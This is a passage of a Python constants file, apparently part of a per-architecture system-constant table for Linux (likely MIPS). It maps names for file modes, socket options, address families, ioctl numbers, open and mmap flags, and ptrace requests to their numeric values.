Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_LINGER = Constant('SO_LINGER',0x0080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_TYPE = Constant('SO_TYPE',0x1008) SO_ERROR = Constant('SO_ERROR',0x1007) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_PASSCRED = Constant('SO_PASSCRED',17) SO_PEERCRED = Constant('SO_PEERCRED',18) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',19) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',20) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',21) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_PEERSEC = Constant('SO_PEERSEC',30) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',0x100a) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',0x100b) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1010) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1011) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1012) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1013) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x1014) SO_PROTOCOL = Constant('SO_PROTOCOL',0x1028) SO_DOMAIN = Constant('SO_DOMAIN',0x1029) SO_STYLE = Constant('SO_STYLE',0x1008) SOCK_NONBLOCK = Constant('SOCK_NONBLOCK',0x40000000) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o1000) O_TRUNC = Constant('O_TRUNC',0o2000) O_EXCL = Constant('O_EXCL',0o4000) O_NOCTTY = Constant('O_NOCTTY',0o10000) O_NONBLOCK = Constant('O_NONBLOCK',0o0004) O_APPEND = Constant('O_APPEND',0o0010) O_NDELAY = Constant('O_NDELAY',0o0004) O_DSYNC = Constant('O_DSYNC',0o40000) FASYNC = Constant('FASYNC',0o20000) O_DIRECTORY = Constant('O_DIRECTORY',0o100000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o200000) O_LARGEFILE = Constant('O_LARGEFILE',0o400000) O_DIRECT = Constant('O_DIRECT',0o2000000) O_NOATIME = Constant('O_NOATIME',0o4000000) O_CLOEXEC = Constant('O_CLOEXEC',0o10000000) O_SYNC = Constant('O_SYNC',(0o20000000|0o40000)) O_PATH = Constant('O_PATH',0o40000000) __O_TMPFILE = Constant('__O_TMPFILE',0o100000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',7) F_SETLK = Constant('F_SETLK',8) F_SETLKW = Constant('F_SETLKW',9) F_SETOWN = Constant('F_SETOWN',5) F_GETOWN = Constant('F_GETOWN',6) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',1) F_WRLCK = Constant('F_WRLCK',2) F_UNLCK = Constant('F_UNLCK',8) F_EXLCK = Constant('F_EXLCK',16) F_SHLCK = Constant('F_SHLCK',32) F_INPROGRESS = Constant('F_INPROGRESS',64) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o100000000 | 0o100000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x100) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x10) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x1000) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x2000) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x4000) MAP_LOCKED = Constant('MAP_LOCKED',0x8000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x10000) MAP_POPULATE = Constant('MAP_POPULATE',0x20000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x40000) MAP_STACK = Constant('MAP_STACK',0x80000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x100000) MS_ASYNC = Constant('MS_ASYNC',1) MS_SYNC = Constant('MS_SYNC',2) MS_INVALIDATE = Constant('MS_INVALIDATE',4) MCL_CURRENT = Constant('MCL_CURRENT',8192) MCL_FUTURE = Constant('MCL_FUTURE',16384) MCL_ONFAULT = Constant('MCL_ONFAULT',32768) MADV_NORMAL = Constant('MADV_NORMAL',0) MADV_RANDOM = Constant('MADV_RANDOM',1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',2) MADV_WILLNEED = Constant('MADV_WILLNEED',3) MADV_SPACEAVAIL = Constant('MADV_SPACEAVAIL',5) MADV_DONTNEED = Constant('MADV_DONTNEED',6) MAP_ANON = Constant('MAP_ANON',0x10) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',6) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = 